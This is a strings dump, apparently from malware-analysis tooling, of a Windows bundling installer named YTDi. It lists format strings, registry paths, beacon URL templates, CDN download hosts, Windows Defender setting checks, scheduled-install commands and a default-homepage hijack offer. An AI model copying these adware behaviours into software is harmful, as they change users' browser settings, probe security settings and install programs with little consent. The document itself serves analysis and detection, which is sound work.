CryptQueryObject failed with %x
CryptQueryObject failed with %x
CryptMsgGetParam failed with %x
CryptMsgGetParam failed with %x
Program Name : %s
Program Name : %s
Publisher Link : %s
Publisher Link : %s
MoreInfo Link : %s
MoreInfo Link : %s
CertFindCertificateInStore failed with %x
CertFindCertificateInStore failed with %x
CBOT_Condition::IsToInstall Return %d
CBOT_Condition::IsToInstall Return %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Work] TID=%X
[CEventsThread::Work] TID=%X
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
Your %s is almost ready for use.
Your %s is almost ready for use.
Click YES on the next screen to allow %s to complete integration.
Click YES on the next screen to allow %s to complete integration.
wevtapi.dll
wevtapi.dll
%SystemRoot%\System32\Winevt\Logs\Application.evtx
%SystemRoot%\System32\Winevt\Logs\Application.evtx
Event / System[EventID = %d] /Provider[@Name='MsiInstaller']
Event / System[EventID = %d] /Provider[@Name='MsiInstaller']
EvtRender failed with %d
EvtRender failed with %d
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
%ddd
%ddd
SB_TASK_%d
SB_TASK_%d
CreateTask: Query IExecAction failed
CreateTask: Query IExecAction failed
RUNONCE_%d
RUNONCE_%d
PT%dS
PT%dS
d-d-dTd:d:d
d-d-dTd:d:d
PT%dH
PT%dH
; UnelevateExecutable: Initialize failed
; UnelevateExecutable: Initialize failed
UNELEVATE_%d
UNELEVATE_%d
; UnelevateExecutable: CreateTask failed
; UnelevateExecutable: CreateTask failed
; UnelevateExecutable: RegisterOnceTask failed
; UnelevateExecutable: RegisterOnceTask failed
; UnelevateExecutable: Task is still not running after 30 seconds. Task state = %d
; UnelevateExecutable: Task is still not running after 30 seconds. Task state = %d
%d.%d.%d.%d
%d.%d.%d.%d
Windows NT 6.1
Windows NT 6.1
Install.log
Install.log
@REGKEY
@REGKEY
.ReturnCode
.ReturnCode
cr.exe
cr.exe
%%SBDATE%%
%%SBDATE%%
%%SID%%
%%SID%%
%%SUB%%
%%SUB%%
%%FULL_SUB%%
%%FULL_SUB%%
GetXml - Magnet is empty: %s
GetXml - Magnet is empty: %s
&ver=%s&are=%s&qre=%s&avre=%s&kbd=%s&tz=%s&pp=%s
&ver=%s&are=%s&qre=%s&avre=%s&kbd=%s&tz=%s&pp=%s
GetFile - Failed to connect (Err=%d): %s
GetFile - Failed to connect (Err=%d): %s
GetFile - Failed to connect: %s
GetFile - Failed to connect: %s
GetFile - Get Failed (Err=%d): %s
GetFile - Get Failed (Err=%d): %s
GetFile - Get Failed: %s
GetFile - Get Failed: %s
GetFile - Read data Failed (Err=%d): %s
GetFile - Read data Failed (Err=%d): %s
GetFile - Read data failed: %s
GetFile - Read data failed: %s
Failed to create process file (%x). %s
Failed to create process file (%x). %s
Mtx%d
Mtx%d
Windows NT 5.1
Windows NT 5.1
Windows NT 6.2
Windows NT 6.2
Windows NT 6.0
Windows NT 6.0
Windows NT 5.0
Windows NT 5.0
?prd=%s&aff=%s&ver=%s&rnd=%d&tss=%d&action=%s&actionparam=%s&usid=%s
?prd=%s&aff=%s&ver=%s&rnd=%d&tss=%d&action=%s&actionparam=%s&usid=%s
/p.ashx
/p.ashx
Sock_Ping : getaddrinfo error = %d
Sock_Ping : getaddrinfo error = %d
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko; SBUA) Chrome/28.0.1500.95 Safari/537.36
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko; SBUA) Chrome/28.0.1500.95 Safari/537.36
GET %s HTTP/1.1
GET %s HTTP/1.1
Host: %s
Host: %s
User-Agent: %s
User-Agent: %s
close failed with error: %d
close failed with error: %d
/S /PING /Action=%s /ActionParams=%s /PingParams=%s
/S /PING /Action=%s /ActionParams=%s /PingParams=%s
/S /MAG=%s /INSTALL /dir=%s /products=%s /pixGuid=%s /sub=%s
/S /MAG=%s /INSTALL /dir=%s /products=%s /pixGuid=%s /sub=%s
ScheduleDownload Initialize Failed: %s
ScheduleDownload Initialize Failed: %s
ScheduleDownload CreateTask Failed: %s
ScheduleDownload CreateTask Failed: %s
Start time: %s. End time: %s.
Start time: %s. End time: %s.
ScheduleDownload RegisterDailyTask Failed: %s
ScheduleDownload RegisterDailyTask Failed: %s
ScheduleInstaller Initialize Failed: %s
ScheduleInstaller Initialize Failed: %s
ScheduleInstaller CreateTask Failed: %s
ScheduleInstaller CreateTask Failed: %s
ScheduleInstaller RegisterDailyTask Failed: %s
ScheduleInstaller RegisterDailyTask Failed: %s
DeleteScheduleDownload Initialize Failed: %s
DeleteScheduleDownload Initialize Failed: %s
DeleteScheduleDownload DeleteTask Failed: %s
DeleteScheduleDownload DeleteTask Failed: %s
\Installer\Install%s_%ld
\Installer\Install%s_%ld
ShellExecute:
ShellExecute:
Failed to create process file (%x).
Failed to create process file (%x).
Second shellExecute:
Second shellExecute:
RunAsAdmin failed : shell execute failed
RunAsAdmin failed : shell execute failed
HKEY_LOCAL_MACHINE64
HKEY_LOCAL_MACHINE64
Software\Microsoft\Windows NT\CurrentVersion
Software\Microsoft\Windows NT\CurrentVersion
Windows 10
Windows 10
Windows Vista
Windows Vista
Windows Server 2008
Windows Server 2008
Windows 7
Windows 7
Windows 8
Windows 8
Windows 8.1
Windows 8.1
Windows Server 2008 R2
Windows Server 2008 R2
Web Server Edition
Web Server Edition
Windows Server 2003 R2,
Windows Server 2003 R2,
Windows Storage Server 2003
Windows Storage Server 2003
Windows Home Server
Windows Home Server
Windows XP Professional x64 Edition
Windows XP Professional x64 Edition
Windows Server 2003,
Windows Server 2003,
Web Edition
Web Edition
Windows XP
Windows XP
Windows 2000
Windows 2000
(build %d)
(build %d)
FWCMD
FWCMD
GetTimeZoneInformation failed error %d
GetTimeZoneInformation failed error %d
CInstallerUtils::AccessRegistryKeyValue64Bit Error opening key
CInstallerUtils::AccessRegistryKeyValue64Bit Error opening key
CInstallerUtils::AccessRegistryKeyValue64Bit Could not read registry value
CInstallerUtils::AccessRegistryKeyValue64Bit Could not read registry value
SOFTWARE\Microsoft\Windows NT\CurrentVersion
SOFTWARE\Microsoft\Windows NT\CurrentVersion
d/d/%d d:d
d/d/%d d:d
%d seconds
%d seconds
SUCCESSKEY
SUCCESSKEY
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
REPORT
REPORT
TSMtx%d
TSMtx%d
%s /SECONDSTAGE /Mutex=%s /PIXGUID=%s
%s /SECONDSTAGE /Mutex=%s /PIXGUID=%s
Error creating shared memory. Err=%d
Error creating shared memory. Err=%d
Error running file: %s
Error running file: %s
Timeout expired (%d)
Timeout expired (%d)
Error opening mutex. Err=%d
Error opening mutex. Err=%d
Return code = %d
Return code = %d
Error reading return code. Err=%d
Error reading return code. Err=%d
dfb5uyoqjsg4c.cloudfront.net
dfb5uyoqjsg4c.cloudfront.net
d1cfk8e4o0c4u2.cloudfront.net
d1cfk8e4o0c4u2.cloudfront.net
d1vw44q53d84jx.cloudfront.net
d1vw44q53d84jx.cloudfront.net
Kernel32.dll
Kernel32.dll
Error %d
Error %d
ACUrl:
ACUrl:
ProxyUrl:
ProxyUrl:
ProxyBypass:
ProxyBypass:
Bkernel32.dll
Bkernel32.dll
HKEY_USERS
HKEY_USERS
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CURRENT_USER
BRWURLS
BRWURLS
CInstallMgr::Work, exception: %s
CInstallMgr::Work, exception: %s
KEYBOARD
KEYBOARD
XML is incorrect. Xml size=%d. Xml= %s
XML is incorrect. Xml size=%d. Xml= %s
XML is incorrect. Xml size=%d. Plain Xml= %s
XML is incorrect. Xml size=%d. Plain Xml= %s
XML %s
XML %s
bxsdk32.dll
bxsdk32.dll
Failed to download bxsdk dll. Error=%d
Failed to download bxsdk dll. Error=%d
MINVERURL
MINVERURL
REPORT_PROG
REPORT_PROG
/S /REPORT /NUM=%d /AFF=%s
/S /REPORT /NUM=%d /AFF=%s
PINGURL
PINGURL
Incorrect xml - No products Node. Xml size=%d
Incorrect xml - No products Node. Xml size=%d
ALTURL
ALTURL
REGKEY
REGKEY
AFFREGKEY
AFFREGKEY
OCSetupHlp.dll
OCSetupHlp.dll
OC_KEY
OC_KEY
IMAGE_URL
IMAGE_URL
Cur ver %s, min ver %s
Cur ver %s, min ver %s
/ENC /S /MAG=%s /INSTALL /dir=%s /products=%s /pixGuid=%s /sub=%s
/ENC /S /MAG=%s /INSTALL /dir=%s /products=%s /pixGuid=%s /sub=%s
%d of 1
%d of 1
%d of %d
%d of %d
CInstallMgr::ReportSize
CInstallMgr::ReportSize
Schedule report failed
Schedule report failed
SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
SOFTWARE\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction
SOFTWARE\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction
SOFTWARE\Microsoft\Windows Defender\Signature Updates
SOFTWARE\Microsoft\Windows Defender\Signature Updates
SignatureVersion: %s ; RealTimeDisabled %d DownloadDisabled %d RunningDisabled %d ; DefActionSevere %d DefActionHigh %d DefActionMedium %d DefActionLow %d
SignatureVersion: %s ; RealTimeDisabled %d DownloadDisabled %d RunningDisabled %d ; DefActionSevere %d DefActionHigh %d DefActionMedium %d DefActionLow %d
OpenCandy init failed. Error=%d. Dll path=%s
OpenCandy init failed. Error=%d. Dll path=%s
Failed to download OpenCandy dll. Error=%d
Failed to download OpenCandy dll. Error=%d
Waited %d seconds
Waited %d seconds
%%successProd%%
%%successProd%%
%úiledProd%%
%úiledProd%%
Install %s
Install %s
Set and keep www-searching.com my default search and homepage
Set and keep www-searching.com my default search and homepage
By clicking Install, you agree to the Privacy Policy and Terms of Service
By clicking Install, you agree to the Privacy Policy and Terms of Service
Link %s
Link %s
Client for product key 1 loaded.
Client for product key 1 loaded.
Client for product key 2 loaded.
Client for product key 2 loaded.
Recommended by %s
Recommended by %s
Offer %d: Title: %s; Description: %s
Offer %d: Title: %s; Description: %s
Offer %d, Result %d
Offer %d, Result %d
Exception CHttpDownload::GetNextRange for URL %s
Exception CHttpDownload::GetNextRange for URL %s
CHttpDownload::Open handle %d to file %s
CHttpDownload::Open handle %d to file %s
Failed to open file %s, error = %d
Failed to open file %s, error = %d
__ERROR CHttpDownload::Read failed for file %s
__ERROR CHttpDownload::Read failed for file %s
CHttpDownload::Repot Bytes %I64d ,Total %I64d, by Downloader %d
CHttpDownload::Repot Bytes %I64d ,Total %I64d, by Downloader %d
Range=%I64d RangeReadBytes=%I64d connection %d Error %x
Range=%I64d RangeReadBytes=%I64d connection %d Error %x
RedownloadRange %s err = %d headers=%s
RedownloadRange %s err = %d headers=%s
CHttpDownload::RedownloadRange for URL %s
CHttpDownload::RedownloadRange for URL %s
%sid=%d_r=%lld_err=%d
%sid=%d_r=%lld_err=%d
CHttpDownload::ReportError for URL %s
CHttpDownload::ReportError for URL %s
CHttpDownload::GetNextRange for URL %s
CHttpDownload::GetNextRange for URL %s
Get Failed : connection %d err %s (0x%X)
Get Failed : connection %d err %s (0x%X)
CHttpDownload::DownloadNextRange for URL %s
CHttpDownload::DownloadNextRange for URL %s
CHttpDownload::Close handle %d to file %s
CHttpDownload::Close handle %d to file %s
CHttpDownload::NOT Close handle %d to file %s
CHttpDownload::NOT Close handle %d to file %s
CHttpDownload::Work for URL %s
CHttpDownload::Work for URL %s
PRESUCCESSKEY
PRESUCCESSKEY
DOWNLOAD START: %s
DOWNLOAD START: %s
Download Failed to createCHttpDownload:
Download Failed to createCHttpDownload:
Download Failed to createCHttpDownload: %s
Download Failed to createCHttpDownload: %s
Download - Failed to connect: %s
Download - Failed to connect: %s
Download - Get Failed: %s
Download - Get Failed: %s
Http Reply code = %d
Http Reply code = %d
Download Failed to create downloaders list: %s
Download Failed to create downloaders list: %s
CProductInstaller::Get for product: %s, exception: %s
CProductInstaller::Get for product: %s, exception: %s
CProductInstaller::GetNextRange - No Next Range for product %s
CProductInstaller::GetNextRange - No Next Range for product %s
CProductInstaller::GetNextRange - product %s start=%I64d end=%I64d size=%I64d
CProductInstaller::GetNextRange - product %s start=%I64d end=%I64d size=%I64d
CProductInstaller::Close for Product %s
CProductInstaller::Close for Product %s
DownloadMultiConnection:file %s exists on disk %s
DownloadMultiConnection:file %s exists on disk %s
DownloadOneConnection FromScheduler : %s
DownloadOneConnection FromScheduler : %s
DownloadOneConnection FromScheduler will download: %s, file DOES NOT exist on disk %s
DownloadOneConnection FromScheduler will download: %s, file DOES NOT exist on disk %s
Get failed (DownloadOneConnection): err=%s (0x%X)
Get failed (DownloadOneConnection): err=%s (0x%X)
Success %s FileSize= %I64d
Success %s FileSize= %I64d
DownloadMultiConnection FromScheduler : %s
DownloadMultiConnection FromScheduler : %s
DownloadMultiConnection FromScheduler will download: %s, file DOES NOT exist on disk %s
DownloadMultiConnection FromScheduler will download: %s, file DOES NOT exist on disk %s
Get failed (DownloadMultiConnection): err=%s (0x%X)
Get failed (DownloadMultiConnection): err=%s (0x%X)
INSTALL START: %s
INSTALL START: %s
/aff=%s /rnd=%d
/aff=%s /rnd=%d
/rnd=%d
/rnd=%d
CProductInstaller::InstallProduct for Product %s
CProductInstaller::InstallProduct for Product %s
DOWNLOAD BYTES: %s NumOfBytes = %I64d
DOWNLOAD BYTES: %s NumOfBytes = %I64d
DOWNLOAD NOT COMPLETED: %s
DOWNLOAD NOT COMPLETED: %s
Trying One Connection Fallback: %s
Trying One Connection Fallback: %s
Download failed, error (%x), %s - Trying Multiple Connection Fallback
Download failed, error (%x), %s - Trying Multiple Connection Fallback
RunFromScheduler: Trying Main Connection Fallback: %s
RunFromScheduler: Trying Main Connection Fallback: %s
Trying main URL in one Connection %s %s
Trying main URL in one Connection %s %s
Trying Alternative Connection Fallback: %s
Trying Alternative Connection Fallback: %s
Alternative Connection %s %s
Alternative Connection %s %s
Alternative Connection Failed: %s
Alternative Connection Failed: %s
Download failed, error (%x), %s %s
Download failed, error (%x), %s %s
Download failed, error (%x), %s
Download failed, error (%x), %s
CProductInstaller::OnDownloadNotCompleted for Product %s
CProductInstaller::OnDownloadNotCompleted for Product %s
OnDownloadCompleted: %s, exiting status %d
OnDownloadCompleted: %s, exiting status %d
status %d, id %d, total bytes %I64d, file size %I64d, %s
status %d, id %d, total bytes %I64d, file size %I64d, %s
DOWNLOAD END: %s %s
DOWNLOAD END: %s %s
%s, %d
%s, %d
DOWNLOAD END: Not all completed %s
DOWNLOAD END: Not all completed %s
%s FileSize= %I64d
%s FileSize= %I64d
CProductInstaller::OnDownloadCompleted for Product %s
CProductInstaller::OnDownloadCompleted for Product %s
INSTALL BEGIN: %s
INSTALL BEGIN: %s
INSTALL END: %s
INSTALL END: %s
CProductInstaller::OnInstallCompleted for Product %s
CProductInstaller::OnInstallCompleted for Product %s
Install failed, error: %s
Install failed, error: %s
%s: %s
%s: %s
CProductInstaller::OnInstallNotCompleted for Product %s
CProductInstaller::OnInstallNotCompleted for Product %s
%s - %s
%s - %s
SkipInstall - %s
SkipInstall - %s
/S /SCHEDULE /MAG=%s /pn=%s /pixGuid=%s /sub=%s /Reason=%s
/S /SCHEDULE /MAG=%s /pn=%s /pixGuid=%s /sub=%s /Reason=%s
CProductInstaller::AddToScheduler for Product %s
CProductInstaller::AddToScheduler for Product %s
CProductInstaller::RemoveFromScheduler for Product %s
CProductInstaller::RemoveFromScheduler for Product %s
RESUCCESSKEY
RESUCCESSKEY
%s:%s
%s:%s
UI screen timeout - %s
UI screen timeout - %s
CRandomCondition::IsToInstall value = %s
CRandomCondition::IsToInstall value = %s
CRandomCondition::IsToInstall mode result = %d
CRandomCondition::IsToInstall mode result = %d
%d:%d
%d:%d
CRandomCondition::IsToInstall Return %d
CRandomCondition::IsToInstall Return %d
CCMDLINE
CCMDLINE
YTDi 1.0.0.1
YTDi 1.0.0.1
1.0.0.1
1.0.0.1
CrashRpt YTDi 1.0.0.1 Error Report
CrashRpt YTDi 1.0.0.1 Error Report
/INSTALL /dir=%s /products=%s
/INSTALL /dir=%s /products=%s
HKEY_PERFORMANCE_DATA
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_CURRENT_CONFIG
WAdvapi32.dll
WAdvapi32.dll
By clicking Next, you agree to install %s and agree to the Terms of Service and Privacy Policy.
By clicking Next, you agree to install %s and agree to the Terms of Service and Privacy Policy.
%s:%s;
%s:%s;
RICHED20.DLL
RICHED20.DLL
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Type: multipart/form-data; boundary=%s
Content-Type: multipart/form-data; boundary=%s
HTTP/1.1
HTTP/1.1
XXX
XXX
Content-Disposition: form-data; name="%s"
Content-Disposition: form-data; name="%s"
HTTP/1.0
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Software\Microsoft\Windows\CurrentVersion\Internet Settings
D%sLow\%s\
D%sLow\%s\
%s\%s\%s\
%s\%s\%s\
%C:\Users\Public\Documents\%s\%s\
%C:\Users\Public\Documents\%s\%s\
%s\Application Data\%s\%s\
%s\Application Data\%s\%s\
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::BackupTraceFile] %s
[SbTracer::BackupTraceFile] %s
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
\StringFileInfo\x\%s
\StringFileInfo\x\%s
d/d/%d d:d:d::d 0x%X>
d/d/%d d:d:d::d 0x%X>
the %s Terms and Privacy Policy
the %s Terms and Privacy Policy
@%s?e=%s
@%s?e=%s
zvl=%s&
zvl=%s&
File open error %d. File=%s
File open error %d. File=%s
File size is 0. File=%s
File size is 0. File=%s
Buffer allocation error %d
Buffer allocation error %d
SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}
SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}
K7OG9oW6WgVxfgLqeH0k5iDpzemsGesJQWy4MRDRIAg=
K7OG9oW6WgVxfgLqeH0k5iDpzemsGesJQWy4MRDRIAg=
c:\%original file name%.exe
c:\%original file name%.exe
2.11.0.999
2.11.0.999
%original file name%.exe_632:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
D$@j.Xf
D$@j.Xf
OtSSh
OtSSh
VQSSh
VQSSh
PSSSSSSh
PSSSSSSh
t!SSh|
t!SSh|
PSSSSh
PSSSSh
9>t.hH
9>t.hH
j.Yf;
j.Yf;
_tcPVj@
_tcPVj@
.PjRW
.PjRW
broken pipe
broken pipe
inappropriate io control operation
inappropriate io control operation
not supported
not supported
operation in progress
operation in progress
operation not permitted
operation not permitted
operation not supported
operation not supported
operation would block
operation would block
protocol not supported
protocol not supported
function not supported
function not supported
operation canceled
operation canceled
address_family_not_supported
address_family_not_supported
operation_in_progress
operation_in_progress
operation_not_supported
operation_not_supported
protocol_not_supported
protocol_not_supported
operation_would_block
operation_would_block
address family not supported
address family not supported
operator
operator
GetProcessWindowStation
GetProcessWindowStation
dbghelp.dll
dbghelp.dll
%Y-%m-%dT%H:%M:%SZ
%Y-%m-%dT%H:%M:%SZ
1.3.6.1.4.1.311.2.1.12
1.3.6.1.4.1.311.2.1.12
Cannot put the trigger ID: %x
Cannot put the trigger ID: %x
{X-hX-hX-XX-XXXXXX}
{X-hX-hX-XX-XXXXXX}
Host Name: %s
Host Name: %s
Domain Name: %s
Domain Name: %s
DHCP scope name: %s
DHCP scope name: %s
GetNetworkParams failed with error: %d
GetNetworkParams failed with error: %d
WinHttpGetIEProxyConfigForCurrentUser failed with the following error number:
WinHttpGetIEProxyConfigForCurrentUser failed with the following error number:
ERROR_WINHTTP_INTERNAL_ERROR
ERROR_WINHTTP_INTERNAL_ERROR
AutoConfigURL (MyProxyConfig.lpszAutoConfigUrl) is:
AutoConfigURL (MyProxyConfig.lpszAutoConfigUrl) is:
AutoConfigURL (MyProxyConfig.lpszProxy) is:
AutoConfigURL (MyProxyConfig.lpszProxy) is:
AutoConfigURL (is:
AutoConfigURL (is:
550e832f-a497-4eb7-bb40-8cc856f6d152
550e832f-a497-4eb7-bb40-8cc856f6d152
RegCreateKeyTransactedW
RegCreateKeyTransactedW
RegOpenKeyTransactedW
RegOpenKeyTransactedW
RegDeleteKeyTransactedW
RegDeleteKeyTransactedW
RegDeleteKeyExW
RegDeleteKeyExW
C:\BUILDS\Build_STUB\Installer\Release_YTDK\YTDKi.pdb
C:\BUILDS\Build_STUB\Installer\Release_YTDK\YTDKi.pdb
GetProcessHeap
GetProcessHeap
GetWindowsDirectoryW
GetWindowsDirectoryW
KERNEL32.dll
KERNEL32.dll
EnumThreadWindows
EnumThreadWindows
EnumChildWindows
EnumChildWindows
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjectsEx
GetKeyboardLayoutList
GetKeyboardLayoutList
USER32.dll
USER32.dll
WS2_32.dll
WS2_32.dll
GDI32.dll
GDI32.dll
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
RegEnumKeyW
RegEnumKeyW
RegCreateKeyExW
RegCreateKeyExW
RegDeleteKeyW
RegDeleteKeyW
RegQueryInfoKeyW
RegQueryInfoKeyW
RegEnumKeyExW
RegEnumKeyExW
RegOpenKeyW
RegOpenKeyW
RegNotifyChangeKeyValue
RegNotifyChangeKeyValue
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteExW
ShellExecuteExW
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
OLEACC.dll
OLEACC.dll
COMCTL32.dll
COMCTL32.dll
PSAPI.DLL
PSAPI.DLL
CryptMsgClose
CryptMsgClose
CertGetNameStringW
CertGetNameStringW
CertFreeCertificateContext
CertFreeCertificateContext
CertFindCertificateInStore
CertFindCertificateInStore
CertCloseStore
CertCloseStore
CryptMsgGetParam
CryptMsgGetParam
CRYPT32.dll
CRYPT32.dll
VERSION.dll
VERSION.dll
GetExtendedTcpTable
GetExtendedTcpTable
IPHLPAPI.DLL
IPHLPAPI.DLL
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetIEProxyConfigForCurrentUser
WINHTTP.dll
WINHTTP.dll
SHFileOperationW
SHFileOperationW
RPCRT4.dll
RPCRT4.dll
HttpSendRequestExW
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestW
HttpAddRequestHeadersW
HttpAddRequestHeadersW
HttpQueryInfoW
HttpQueryInfoW
HttpOpenRequestW
